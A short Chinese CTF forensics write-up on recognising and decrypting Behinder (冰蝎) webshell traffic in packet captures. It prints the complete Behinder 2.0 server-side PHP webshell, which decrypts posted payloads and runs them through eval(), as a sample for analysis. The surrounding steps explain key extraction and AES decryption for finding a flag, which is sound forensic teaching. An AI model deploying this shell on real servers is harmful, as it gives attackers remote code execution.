01.冰蝎流量判断
在流量包中出现shell.php,多半是有关shell的题目,进行http分析可以看见 Behinder,可以知道是冰蝎流量
02.冰蝎shell分析
目前大部分的shell工具都是加密通信,因此知道加密方式与密钥十分关键
冰蝎采用的是AES加密,通信流程:
冰蝎2.0版本
冰蝎客户端发送Get请求服务器 => 服务器随机产生密钥后,插入在session返回给冰蝎客户端 => 冰蝎客户端通过密钥加密playload后,通过Post请求发送给服务器 => 服务器解密playload后执行,再将返回包加密后传送给冰蝎客户端
(通常AES加密前会进行一次Base64编码)
进行加密shell.php分析(在server目录下的shell.php)
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
在2.0版本中key是随机产生的
冰蝎3.0版本
3.0版本与2.0版本不同的地方在于3.0的key值是固定的,因此不再过多解释
03.冰蝎流量例题分析
通常我们可以在Get请求的返回包中寻找key值
找到key后,观察Post请求。
通过key可以对发送和返回数据进行AES解密,后再通过Base64解密,来寻找到flag。